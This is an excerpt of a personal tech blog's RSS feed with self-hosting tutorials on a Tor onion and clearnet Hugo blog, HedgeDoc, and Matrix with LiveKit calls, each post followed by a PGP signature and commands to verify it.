    Certbot tells you to add a TXT record _acme-challenge.blog.alipourimjourneys.ir. Add it in Cloudflare DNS, verify with dig, then continue. Cert ends up at:

    +
    /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem
    +/etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem
    +

    Clearnet Nginx vhosts:

    +
    # HTTP → HTTPS redirect (optional; CF usually talks HTTPS to origin anyway)
    +server {
    +  listen 80; listen [::]:80;
    +  server_name blog.alipourimjourneys.ir;
    +  return 301 https://blog.alipourimjourneys.ir$request_uri;
    +}
    +
    +# HTTPS origin (behind Cloudflare)
    +server {
    +  listen 443 ssl http2; listen [::]:443 ssl http2;
    +  server_name blog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem;
    +
    +  # HSTS on clearnet only
    +  add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    +
    +  # Help Tor Browser discover the onion mirror (safe on clearnet)
    +  add_header Onion-Location "http://<your-56-char>.onion$request_uri" always;
    +
    +  root /srv/hugo/mysite/public-clearnet;
    +  index index.html;
    +
    +  location / { try_files $uri $uri/ /index.html; }
    +}
    +
    +

    Note: don’t add HSTS or HTTPS redirects to the onion vhost. Keep onion pure HTTP on localhost.

    +
    +

    6) Troubleshooting I ran into (and fixes)

    +
      +
    • Tor unit confusion: tor.service is a tiny master; the real daemon is tor@default. Use that unit and verify config as debian-tor.
    • +
    • Permissions: HiddenServiceDir must be owned by debian-tor and mode 700.
    • +
    • Mapping mismatch: If HiddenServicePort 80 127.0.0.1:3301 is set, visit http://<onion>/ (no :3301). If you set HiddenServicePort 3301 127.0.0.1:3301, you must use http://<onion>:3301/.
    • +
    • Curl & .onion: modern curl refuses .onion unless you use remote DNS via SOCKS: +
      curl -I --socks5-hostname 127.0.0.1:9050 "http://<onion>/"
      +
    • +
    • Two Nginx vhosts on the same port: I had a duplicate server on 127.0.0.1:3301 pointing somewhere else, which caused onion 404s. Keep only one (or mark one default_server).
    • +
    • Regex in server_name: if you use it, write server_name ~* \.onion$ (space after ~*). I fixed an invalid variable name error caused by a missing space.
    • +
    • PaperMod with old Hugo: upgraded to extended ≥ 0.146.0. Also updated paginate[pagination].pagerSize.
    • +
    • Snap confinement: Snap’s hugo couldn’t read /srv (.../void: permission denied). Switched to the tarball build in /usr/local/bin.
    • +
    +
    +

    7) “Not secure” in Tor Browser?

    +

    That message can appear because onion uses HTTP. It’s OK: Tor provides e2e encryption + onion auth. If you enable HTTPS-Only Mode, add an exception for the site. Also ensure the onion build doesn’t reference clearnet resources (scan the built HTML for http(s):// links that aren’t your onion).

    +
    +

    8) Day-to-day workflow

    +
      +
    • Create content: +
      hugo new posts/my-first-post.md  # then set draft: false
      +
    • +
    • Publish both: +
      build-both
      +
    • +
    • (Optional) Auto on save: +
      find content layouts assets static config -type f | entr -r build-both
      +
    • +
    • (Optional) Git push-to-deploy with a bare repo + post-receive hook that runs build-both.
    • +
    +
    +

    Final notes

    +
      +
    • Clearnet gets HTTPS + HSTS and an Onion-Location header.
    • +
    • Onion gets no HSTS/redirects, and all assets are self-hosted to avoid mixed content.
    • +
    • Serving both worlds from one Hugo repo is easy: two builds, two vhosts, one workflow.
    • +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
    +jSr80hAAqr/XVnG0YNXXgG5FmVK/xBo5VVdYxba+znAc1rCWJuzwHe2Ih0aYsq7d
    +DMWRkpE9YTfQl/kSYpzlk96KCKv+6lHQXqcPyq+nQTDl/D7iCaOhb8Dog3W/2qN4
    +6G05f47EoiOJY+G/XgUHKqK75QhJrGUtom71t30alciaEGW2SauewBVTGmD+x4y4
    +UN8LABLuB/ZE8sInjoTRr28LWVj6XeHMueY9/tpS9Fm3yw3nHnE4Fv77FtTHQiMo
    +FwGfnomCwVwd5GpaP7LQdtP/a+x4s/bya2keFLW89xgwXolWB6U3y5BLFeVHptQm
    +slRx0+P27gH+CRtoXKI4kHThbmkmjM9ohJc7kxrkkbzB3ujkrxjC+rZnHXPCdbsZ
    +TTiwtJ/jLLbX+NfycW9qR6gVxloO35QA90AY7050tOgAsyH+YUn+Rtj2KVj91E0o
    +VzljG7RAly7yTe+yxzC6OO+iCJvLS6OpLEN5oIG9CmRm5cw/qB2rl8g/Qsru0t7/
    +OrTnJ8fJqq+XRhBet/eR4zogcSEo7fTMp0pDdapMYkO3Xe5VPQ/3Gu7xr8utoXXZ
    +N6VbRTRfq2Vnp+A9NshVsaKqXXaXsAL8GivMk37/bqteZ2BWedvzk1PpGf3f9HS8
    +700JFbZi9uEECoxtnv0uK67i8lkax/gsiTiGdjmx5mzfXfUQXVM=
    +=QlNw
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/tor_clearnet_blog.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/tor_clearnet_blog.md.asc
    +gpg --verify tor_clearnet_blog.md.asc tor_clearnet_blog.md
    +  
    +
    + + +]]>
    +
    + + Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hedge_doc/ + Fri, 29 Aug 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hedge_doc/ + <p>HedgeDoc is an open-source collaborative Markdown editor. Think <em>Google Docs for Markdown</em>: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.</p> +<hr> +<h2 id="prerequisites">Prerequisites</h2> +<ul> +<li>A Linux server with <strong>Docker</strong> and <strong>Docker Compose</strong></li> +<li>A domain name pointing to your server (e.g. <code>notes.alipourimjourneys.ir</code>)</li> +<li><strong>Nginx</strong> installed for reverse proxying</li> +<li><strong>Certbot</strong> for Let’s Encrypt certificates</li> +</ul> +<hr> +<h2 id="1-create-the-project-directory">1. Create the project directory</h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mkdir ~/hedgedoc <span style="color:#f92672">&amp;&amp;</span> cd ~/hedgedoc</span></span></code></pre></div> +<hr> +<h2 id="2-create-env">2. Create <code>.env</code></h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-env" data-lang="env"><span style="display:flex;"><span>POSTGRES_PASSWORD<span style="color:#f92672">=</span>ChangeThisStrongPassword +</span></span><span style="display:flex;"><span>HD_DOMAIN<span style="color:#f92672">=</span>notes.alipourimjourneys.ir</span></span></code></pre></div> +<p>Generate a strong password with:</p> + HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.

    +
    +

    Prerequisites

    +
      +
    • A Linux server with Docker and Docker Compose
    • +
    • A domain name pointing to your server (e.g. notes.alipourimjourneys.ir)
    • +
    • Nginx installed for reverse proxying
    • +
    • Certbot for Let’s Encrypt certificates
    • +
    +
    +

    1. Create the project directory

    +
    mkdir ~/hedgedoc && cd ~/hedgedoc
    +
    +

    2. Create .env

    +
    POSTGRES_PASSWORD=ChangeThisStrongPassword
    +HD_DOMAIN=notes.alipourimjourneys.ir
    +

    Generate a strong password with:

    +
    openssl rand -base64 32
    +
    +

    3. Create docker-compose.yml

    +
    version: "3.9"
    +
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_USER: hedgedoc
    +      POSTGRES_PASSWORD: ${POSTGRES_PASSWORD}
    +      POSTGRES_DB: hedgedoc
    +    volumes:
    +      - db:/var/lib/postgresql/data
    +    restart: unless-stopped
    +
    +  hedgedoc:
    +    image: quay.io/hedgedoc/hedgedoc:1.10.2
    +    depends_on:
    +      - db
    +    environment:
    +      CMD_DB_URL: postgres://hedgedoc:${POSTGRES_PASSWORD}@db:5432/hedgedoc
    +      CMD_DOMAIN: ${HD_DOMAIN}
    +      CMD_PROTOCOL_USESSL: "true"
    +      CMD_URL_ADDPORT: "false"
    +      CMD_PORT: "3000"
    +      CMD_EMAIL: "true"
    +      CMD_ALLOW_EMAIL_REGISTER: "false"
    +    volumes:
    +      - uploads:/hedgedoc/public/uploads
    +    ports:
    +      - "127.0.0.1:3000:3000"
    +    restart: unless-stopped
    +
    +volumes:
    +  db:
    +  uploads:
    +

    Bring it up:

    +
    docker compose up -d
    +
    +

    4. Get a Let’s Encrypt certificate

    +

    Request a cert with a DNS challenge:

    +
    sudo certbot certonly   --manual   --preferred-challenges dns   -d notes.alipourimjourneys.ir   -m you@example.com   --agree-tos --no-eff-email
    +

    Add the TXT record certbot asks for, wait for DNS to propagate, then continue.
    +Certificates will be in:

    +
    /etc/letsencrypt/live/notes.alipourimjourneys.ir/
    +
    +

    5. Configure Nginx

    +

    Create /etc/nginx/sites-available/notes.alipourimjourneys.ir:

    +
    server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 80;
    +  listen [::]:80;
    +  return 301 https://$host$request_uri;
    +}
    +
    +server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 443 ssl http2;
    +  listen [::]:443 ssl http2;
    +
    +  ssl_certificate     /etc/letsencrypt/live/notes.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/notes.alipourimjourneys.ir/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:3000;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Real-IP $remote_addr;
    +    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +    proxy_set_header X-Forwarded-Proto https;
    +
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +  }
    +}
    +

    Enable the config and reload Nginx:

    +
    sudo ln -s /etc/nginx/sites-available/notes.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    6. Create users

    +

    Because we disabled self-registration, create accounts manually:

    +
    docker compose exec hedgedoc ./bin/manage_users --add alice@example.com
    +

    You’ll be prompted for a password.
    +To reset a password later:

    +
    docker compose exec hedgedoc ./bin/manage_users --reset alice@example.com
    +
    +

    7. Done!

    +

    Visit https://notes.alipourimjourneys.ir and log in with the user you created. You now have your own collaborative Markdown editor 🎉

    +
    +

    Extras:

    +
      +
    • Backups: dump the PostgreSQL database and save the uploads volume.
    • +
    • Upgrades: docker pull quay.io/hedgedoc/hedgedoc:latest && docker compose up -d.
    • +
    • Integrations: HedgeDoc supports S3/MinIO image storage, GitHub/GitLab/Google login, and more.
    • +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbucACgkQtYgoUOBM
    +jSrPHA//WlMEZx1k/aGx3zau+wRrAOq4XlrvC7keBvqMs0PJGhJmT8jnOMh0+26w
    +AGav2jBuChLYsDx+O8l18uxcsu9fdrz8r4N4sDOnsndSsg15rTT28P3MNvvUL8ns
    +iOc9uEUkxF59rT3OXRI56hH3VX6vzxakdAnW3Afhki2Bl54jur2+6RVtuthGUEV+
    +QZ/36QVXLrOAas1bqq3f38m4M2no3ZqVvpj+Alur2Ji/gcGZlSArBnIoJQoK5L+r
    +UZLJsQ+LrqCJp4i+GkkX05si2srSTjawBu+ssHf+uwPg0Q6AMTbubrGiHrMMtMbM
    +4PCFtS8vD/ZBVkVpSBybyXdMxQU+y9AI1LZ//X4cQWdqgRpinOVENuZ2FeVI6qa/
    +sBGHLThq9nZEXmMT2oQa1wi+CaY17z9fYj20F5moOp2Q6pxBGPyHZRV3WAr5xURU
    +5B9SwVtNqIzm7eoAbwckU3h+TfIJ4vGulSqPqHvZ/XAdbzCVXaSXBN951oA0No1y
    +MyvsIskzKVPvSqndYjxLGiopvOpITgxN5q6a7ubBmxYCrS+SF74jPkDjtc4EFuKB
    +QrMTBm/+Xl/VEESYv5Mx7hwYv1dnmJUFrx62FUYmAMaFP2UcMIlJJ5zQCwsDdREk
    +aG3wFuWH4d9UFohK+MJIHqYk1+TbZJm3bnds8pOqniIZ7M5PcEg=
    +=uf5y
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hedge_doc.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hedge_doc.md.asc
    +gpg --verify hedge_doc.md.asc hedge_doc.md
    +  
    +
    + + +]]>
    +
    + + Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/ + Tue, 26 Aug 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/ + How I set up a Matrix homeserver (Synapse) with TURN and Element Call using LiveKit, plus the exact debugging steps that took it from &#39;waiting for media&#39; to solid calls. + +

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it.

    +

    What I’m building

    +
      +
    • A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain).
    • +
    • TURN/STUN (coTURN) for NAT traversal.
    • +
    • Element Call backed by LiveKit, fronted by rtc.example.com.
    • +
    • Nginx (host) as the single reverse proxy for everything.
    • +
    • Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud).
    • +
    • UFW firewall opened for Matrix federation, TURN, and LiveKit media ports.
    • +
    +
    +

    I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448.

    +
    +

    Prereqs

    +
      +
    • DNS A/AAAA: +
        +
      • matrix.example.com → your server (v4/v6)
      • +
      • rtc.example.com → your server (v4/v6)
      • +
      +
    • +
    • Certificates: +
        +
      • matrix.example.com and rtc.example.com via Let’s Encrypt on the host
      • +
      +
    • +
    • Cloudflare: DNS-only (grey cloud) for rtc.example.com so WebSockets & UDP work without interference.
    • +
    • UFW / firewall open: +
        +
      • 80/tcp, 443/tcp
      • +
      • 8448/tcp (Matrix federation)
      • +
      • 3478/tcp, 3478/udp and 5349/tcp (TURN/TLS)
      • +
      • LiveKit: 7881/tcp and 50100–50200/udp (or your chosen range)
      • +
      +
    • +
    • Docker + docker compose installed.
    • +
    +
    +

    Synapse + PostgreSQL

    +

    1) The PostgreSQL collation gotcha

    +

    Synapse prefers the database collation C. If your Postgres cluster was initialized with en_US.utf8, Synapse will error like:

    +
    Database has incorrect collation of 'en_US.utf8'. Should be 'C'
    +

    Two ways to resolve:

    +
      +
    • Preferred (clean): Re-initialize the Postgres cluster with C and UTF-8:
    • +
    +
    # docker-compose.yml (excerpt for Postgres)
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_DB: synapse
    +      POSTGRES_USER: synapse
    +      POSTGRES_PASSWORD: <strong-password>
    +      POSTGRES_INITDB_ARGS: "--locale=C --encoding=UTF8 --lc-collate=C --lc-ctype=C"
    +    volumes:
    +      - ./pgdata:/var/lib/postgresql/data
    +
    +

    Requires wiping the volume and recreating the DB.

    +
      +
    • Pragmatic (works quickly): In Synapse’s DB config, set allow_unsafe_locale: true. This bypasses the check. It’s fine for hobby use; for production, prefer the clean C cluster.
    • +
    +

    2) Start Synapse and generate config

    +
    docker compose up -d db synapse
    +# Logs
    +docker compose logs --tail=200 synapse
    +

    Ensure Synapse prints your server_name and public base URL and stays up.

    +

    3) Create an admin user

    +
    # Exec into the running Synapse container:
    +docker compose exec synapse register_new_matrix_user \
    +  -c /data/homeserver.yaml -u <username> -p <password> \
    +  -a -k
    +
    +

    If you see “Unknown execution mode”, you probably ran the binary with the wrong entrypoint. Use docker compose exec synapse … against the running container.

    +
    +

    TURN (coTURN)

    +

    1) Avoid bad inline comments

    +

    If you see errors like:

    +
    ERROR: Unknown boolean value: # log to journald/syslog. You can use on/off, yes/no, 1/0, true/false.
    +

    …it means a # comment is on the same line as a boolean directive. Move comments to their own lines.

    +

    2) Minimal turnserver.conf

    +
    listening-port=3478
    +tls-listening-port=5349
    +fingerprint
    +use-auth-secret
    +static-auth-secret=<shared-secret>   # also set in Synapse
    +realm=example.com                    # used in creds generation
    +total-quota=0
    +bps-capacity=0
    +cli-password=<admin-pass>
    +no-cli
    +cert=/etc/letsencrypt/live/turn.example.com/fullchain.pem
    +pkey=/etc/letsencrypt/live/turn.example.com/privkey.pem
    +# If behind NAT:
    +# external-ip=<public-ip>/<internal-ip>
    +

    3) Wire TURN into Synapse

    +

    In homeserver.yaml:

    +
    turn_uris:
    +  - "turn:turn.example.com?transport=udp"
    +  - "turn:turn.example.com?transport=tcp"
    +  - "turns:turn.example.com:5349?transport=tcp"
    +turn_shared_secret: "<shared-secret>"
    +turn_user_lifetime: "1d"
    +

    Verify the homeserver issues TURN creds:

    +
    TOKEN='<your matrix access token>'
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +

    You should see uris, a time-limited username and password.

    +
    +

    Nginx (host) for Synapse and federation

    +

    Create /etc/nginx/conf.d/matrix.conf:

    +
    # Client traffic on 443
    +server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  # Proxy client & admin APIs to Synapse (container) on 8008
    +  location ~ ^(/_matrix|/_synapse/client) {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +
    +  # Advertise homeserver base + RTC focus (MSC4143) via .well-known
    +  location = /.well-known/matrix/client {
    +    default_type application/json;
    +    add_header Access-Control-Allow-Origin "*" always;
    +    return 200 '{"m.homeserver":{"base_url":"https://matrix.example.com"},"org.matrix.msc4143.rtc_foci":[{"type":"livekit","livekit_service_url":"https://rtc.example.com"}]}';
    +  }
    +}
    +
    +# Federation on 8448
    +server {
    +  listen 8448 ssl http2;  listen [::]:8448 ssl http2;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +}
    +

    Reload and sanity check:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +

    Also check Synapse supports RTC signaling (MSC4140) so clients actually use it:

    +
    curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +# expect: true
    +

    +

    Element Call + LiveKit

    +

    I’ll run LiveKit and the small JWT helper (Element’s elementcall_jwt) in Docker. LiveKit handles media; the JWT helper mints access tokens for WebSocket connects.

    +

    1) LiveKit config (/etc/livekit.yaml inside container)

    +
    port: 7880
    +bind_addresses: ["0.0.0.0"]
    +rtc:
    +  tcp_port: 7881
    +  port_range_start: 50100
    +  port_range_end: 50200
    +  use_external_ip: true
    +logging:
    +  level: info
    +turn:
    +  enabled: false
    +keys:
    +  lk_prod_1: "REPLACE_WITH_A_64_CHAR_RANDOM_SECRET___________________________________"
    +
    +

    Important: the secret must be >= 32 chars. The default devkey will trigger secret is too short warnings and won’t work with the JWT helper.

    +

    2) elementcall_jwt env

    +

    Run it with:

    +
      +
    • LIVEKIT_URL=wss://rtc.example.com (root WS URL, no /livekit/sfu path)
    • +
    • LIVEKIT_KEY=lk_prod_1
    • +
    • LIVEKIT_SECRET=<the long secret above>
    • +
    • LIVEKIT_JWT_PORT=8080 (internal HTTP port the proxy will hit)
    • +
    • Optionally: LIVEKIT_FULL_ACCESS_HOMESERVERS=* during setup
    • +
    +

    Check logs on start; it prints the LIVEKIT_URL it will advertise.

    +

    3) Nginx (host) for rtc.example.com

    +

    Create /etc/nginx/conf.d/rtc.conf:

    +
    server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name rtc.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/rtc.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/rtc.example.com/privkey.pem;
    +
    +  access_log /var/log/nginx/rtc.access.log combined;
    +
    +  # 3a) JWT endpoint with clean CORS (avoid duplicate ACAO)
    +  location = /sfu/get {
    +    proxy_hide_header Access-Control-Allow-Origin;
    +    add_header Access-Control-Allow-Origin $http_origin always;
    +    add_header Vary "Origin" always;
    +    add_header Access-Control-Allow-Methods "POST, OPTIONS" always;
    +    add_header Access-Control-Allow-Headers "Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization" always;
    +    if ($request_method = OPTIONS) { return 204; }
    +
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_pass http://127.0.0.1:8070/sfu/get;  # elementcall_jwt
    +  }
    +
    +  # 3b) LiveKit WS & HTTP (catch-all)
    +  location / {
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +    proxy_set_header Sec-WebSocket-Protocol $http_sec_websocket_protocol;  # "livekit"
    +    proxy_set_header Origin $http_origin;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_buffering off;
    +    proxy_read_timeout 3600s;
    +    proxy_pass http://127.0.0.1:7880;         # livekit
    +  }
    +}
    +

    Reload and basic checks:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +# JWT preflight (should return a single ACAO header)
    +curl -si -X OPTIONS https://rtc.example.com/sfu/get \
    +  -H 'Origin: https://app.element.io' \
    +  -H 'Access-Control-Request-Method: POST' \
    +  -H 'Access-Control-Request-Headers: authorization, content-type' | sed -n '1,30p'
    +# Expected: one Access-Control-Allow-Origin and 200/204
    +
    +

    Why I did this: I initially had two Access-Control-Allow-Origin headers (one added by the upstream, one by Nginx). Browsers reject that with “Access-Control-Allow-Origin cannot contain more than one origin”, so the JWT response never reached the client. Fixing CORS fixed everything.

    +
    +

    The “waiting for media” debugging story (how I found it)

    +

    Symptom: Element Call created rooms, but calls stayed on “waiting for media.”

    +

    What worked:

    +
      +
    • elementcall_jwt could CreateRoom in LiveKit (seen in logs).
    • +
    • TURN creds endpoint returned time-limited credentials.
    • +
    +

    What didn’t appear:

    +
      +
    • No HTTP 101 lines in rtc.access.log → the browser never established a WebSocket to LiveKit.
    • +
    +

    Step 1: prove the WS vhost works (even without auth)

    +
    curl -v --http1.1 \
    +  -H 'Connection: Upgrade' -H 'Upgrade: websocket' \
    +  -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \
    +  -H 'Sec-WebSocket-Version: 13' \
    +  https://rtc.example.com/rtc -o /dev/null
    +

    Result: I got a 401 (expected), but importantly I saw a log line in rtc.access.log. So Nginx WS proxying was fine.

    +

    Step 2: check the browser console

    +

    The smoking gun in DevTools:

    +
    Access-Control-Allow-Origin cannot contain more than one origin.
    +Fetch API cannot load https://rtc.example.com/sfu/get due to access control checks.
    +

    The browser refused the JWT call due to duplicated ACAO headers, so no token → no WebSocket connect.

    +

    Fix: in Nginx I added:

    +
    proxy_hide_header Access-Control-Allow-Origin;
    +add_header Access-Control-Allow-Origin $http_origin always;
    +add_header Vary "Origin" always;
    +

    …and ensured no other add_header created duplicates. After that, /sfu/get succeeded and the WebSocket to wss://rtc.example.com immediately followed (I saw HTTP 101 in the logs).

    +

    Step 3: confirm LiveKit side

    +

    Once the WS was up, LiveKit logs showed participants joining (not just RoomService.CreateRoom), and calls were established.

    +
    +

    Useful verification commands

    +
    # Synapse features (expect MSC4140 true)
    +curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +
    +# Well-known with RTC focus
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +
    +# TURN creds (with your access token)
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +
    +# JWT health
    +curl -si -X POST https://rtc.example.com/sfu/get
    +
    +# LiveKit simple HTTP probe
    +curl -si https://rtc.example.com | head
    +
    +# Nginx logs (look for 101 Switching Protocols when a call starts)
    +sudo tail -f /var/log/nginx/rtc.access.log | grep ' 101 '
    +

    +

    Common pitfalls (I hit these so you don’t have to)

    +
      +
    • Host Nginx vs Docker Nginx: If you already run Nginx on the host, don’t also bind 80/443/8448 in a Docker Nginx — you’ll get bind() ... already in use and restart loops. Use host Nginx to reverse proxy to containers.
    • +
    • Nginx http2 directive: Old Nginx may not support the http2 directive on listen. Use listen 443 ssl; (and add http2 if your version supports it).
    • +
    • Certificate name mismatch: Make sure rtc.example.com’s vhost uses a certificate for that exact hostname (initially I had the matrix.* cert on rtc.* and curl complained).
    • +
    • Postgres collation: Either initialize the cluster with C or use allow_unsafe_locale: true in Synapse DB config to get running quickly.
    • +
    • CORS duplication on /sfu/get: Only ONE Access-Control-Allow-Origin header. If the upstream adds it too, use proxy_hide_header Access-Control-Allow-Origin; on the Nginx location.
    • +
    • Cloudflare: Use DNS-only for rtc.*. Proxies can interfere with WS and UDP paths.
    • +
    • Firewall: Open the LiveKit UDP range and TURN ports on both v4 and v6.
    • +
    +
    +

    Final checklist (print me)

    +
      +
    • https://matrix.example.com/.well-known/matrix/client returns both m.homeserver.base_url and org.matrix.msc4143.rtc_foci pointing to https://rtc.example.com.
    • +
    • /_matrix/client/versions shows "org.matrix.msc4140": true.
    • +
    • /sfu/get preflight returns one Access-Control-Allow-Origin and 200/204.
    • +
    • Starting a call creates HTTP 101 entries to wss://rtc.example.com in rtc.access.log.
    • +
    • LiveKit logs show participants joining (not just CreateRoom).
    • +
    • /voip/turnServer returns time-limited TURN credentials.
    • +
    • Cloudflare set to DNS-only for rtc.*. UFW allows 7881/tcp and your LiveKit UDP range.
    • +
    +
    +

    Credits & tooling

    +
      +
    • Matrix Synapse, coTURN, LiveKit, Element Call.
    • +
    • curl, jq, docker compose logs, Nginx access logs. These are your best friends.
    • +
    • The debugging breakthrough was catching CORS errors in the browser console and looking for HTTP 101 in Nginx logs.
    • +
    +

    Happy calling! 🎉

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
    +jSpglxAArFNgxheR8m2r6QvtoEuHJwI51WQteu+0un0FiIfHKtFPcXd2HiVqzODu
    +YZvIGCAecMURQMRvrgB8cO3ebY8Yi9EECnC1sHsluE05GOuro5Htja7TbsGxwTc3
    +PIe+zju7lIhTHonqLogUyyunhWxOfg1RCaSjp3n6k/r2iEamgKu6Cihrv54wstGa
    +SVJbwubie1D9TPcXU3ynC+ynNBcmVevFl7g/X7Ie8Pw0SP1dJF+we5iVqUrZgPO2
    +AudHlWRm13j7Xifv/JxqymkZV1XiShIY8Mb0Ju8m5+HjkoIaZDtSfFyt+AwPdHDQ
    +m3sMXA7yZUvy+pXtziwrOnHFAez22goAr9Ar9KcwGQgRvyxKuuKIuTq+yxtCuXBF
    +fPWo5pL0rMtIfwRyaiiX9bwV+WbBXNhghTPnaxuQ3CWkLdiwaycI7xPDAg8FzFAR
    +7yoN0vqhKSvZlAL1OQS+4yRcXnguq7UY9UF+drG0f0QpC3aht1QgrJ04gvDp2BOk
    +ymmlxCxUWQrFSqDThjv7WFCclamKTimCODKWvIG6sjQcJuLCg9CXRl+ZMvwobQqH
    +Tv8cm8PMimqJppUodB3Ig5zP3ZkVcK8uFm5XqoUnasqDVLLJaRcCu+Qt4h9gZ2w6
    +Q3Q6K/zPZcKEIrwJfczWotSgG0g8dnuMUUYALWTbRrGjN0mgCss=
    +=yHZZ
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/matrix_setup.md
